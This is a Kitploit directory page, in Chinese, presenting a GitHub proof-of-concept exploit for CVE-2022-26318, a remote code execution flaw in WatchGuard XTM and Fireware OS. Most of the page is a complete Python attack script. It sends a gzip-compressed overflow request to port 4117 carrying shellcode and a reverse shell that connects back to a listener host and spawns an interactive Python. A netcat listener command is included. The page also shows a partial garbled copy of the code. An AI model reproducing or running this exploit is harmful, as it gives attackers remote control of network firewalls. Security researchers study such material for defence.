Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
watchguard_cve-2022-26318 — 概念验证利用 CVE-2022-26318,这是一个 WatchGuard XTM 和 FireWare OS 中的远程代码执行漏洞,通过精心构造的 HTTP POST 请求传递反向 shell。 | Kitploit
工具/GitHubGitHub/misterxid/watchguard_cve-2022-26318
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubmisterxid/watchguard_cve-2022-26318

watchguard_cve-2022-26318

概念验证利用 CVE-2022-26318,这是一个 WatchGuard XTM 和 FireWare OS 中的远程代码执行漏洞,通过精心构造的 HTTP POST 请求传递反向 shell。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
11914年前尚未审核

WatchGuard CVE-2022-26318

WatchGuard RCE POC CVE-2022-26318

#!/usr/bin/python3

-- coding: utf-8 --

CVE-2022-26318

import socket import ssl import gzip

Remote WatchGuard XTM or FireWare OS

R_HOST = "1.1.1.1"

Local host with nc listener: nc -l 8.8.8.8 8888

L_HOST = "8.8.8.8"

def buildPayload(L_HOST): payload = "agent.login<".encode() payload += ("A"*3181).encode() payload += "MFA>".encode() payload += (""*3680).encode()

WatchGuard CVE-2022-26318

WatchGuard RCE POC CVE-2022-26318

root@kitploit:~
#!/usr/bin/python3
# -*- coding: utf-8 -*-

# CVE-2022-26318

import socket
import ssl
import gzip



# Remote WatchGuard XTM or FireWare OS
R_HOST = "1.1.1.1"
# Local host with nc listener: nc -l 8.8.8.8 8888
L_HOST = "8.8.8.8"


def buildPayload(L_HOST):
    payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><".encode()
    payload += ("A"*3181).encode()
    payload += "MFA>".encode()
    payload += ("<BBBBMFA>"*3680).encode()
    payload += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00h\xf9@\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xb1\xd5A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}^@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|^@\x00\x00\x00\x00\x00\xad\xd2A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*\xa9@\x00\x00\x00\x00\x00H\x8d=\x9d\x00\x00\x00\xbeA\x02\x00\x00\xba\xb6\x01\x00\x00\xb8\x02\x00\x00\x00\x0f\x05H\x89\x05\x92\x00\x00\x00H\x8b\x15\x93\x00\x00\x00H\x8d5\x94\x00\x00\x00H\x8b=}\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05H\x8b=o\x00\x00\x00\xb8\x03\x00\x00\x00\x0f\x05\xb8;\x00\x00\x00H\x8d=?\x00\x00\x00H\x89= \x00\x00\x00H\x8d5A\x00\x00\x00H\x895\x1a\x00\x00\x00H\x8d5\x0b\x00\x00\x001\xd2\x0f\x05\xb8<\x00\x00\x00\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/usr/bin/python\x00/tmp/test.py\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef\x01\x00\x00\x00\x00\x00\x00'
    payload += 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",8888)); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);call(["/bin/python","-i"]);'.format(L_HOST).encode()
    return gzip.compress(payload, 9)


def buildHTTP(L_HOST, R_HOST):
    http_payload = "POST /agent/login HTTP/1.1\r\n"
    http_payload += "Host: {}:4117\r\n".format(R_HOST)
    http_payload += "User-Agent: CVE-2022-26318\r\n"
    http_payload += "Accept-Encoding: gzip, deflate\r\n"
    http_payload += "Accept: */*\r\n"
    http_payload += "Connection: close\r\n"
    http_payload += "Content-Encoding: gzip\r\n"

    gzippedExploit = buildPayload(L_HOST)

    http_payload += "Content-Length: {}\r\n".format(len(gzippedExploit))
    http_payload += "\r\n"

    return http_payload.encode() + gzippedExploit


def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    wrappedSocket = ssl.wrap_socket(sock=sock, cert_reqs=ssl.CERT_NONE)

    server_address = (R_HOST, 4117)
    print('connecting to {} port {}'.format(*server_address))

    wrappedSocket.settimeout(3)
    try:
        wrappedSocket.connect(server_address)
        print("sending payload...")
        payload = buildHTTP(L_HOST, R_HOST)
        wrappedSocket.sendall(payload)
    except:
        pass

    finally:
        print('closing socket')
        wrappedSocket.close()


main()

下载工具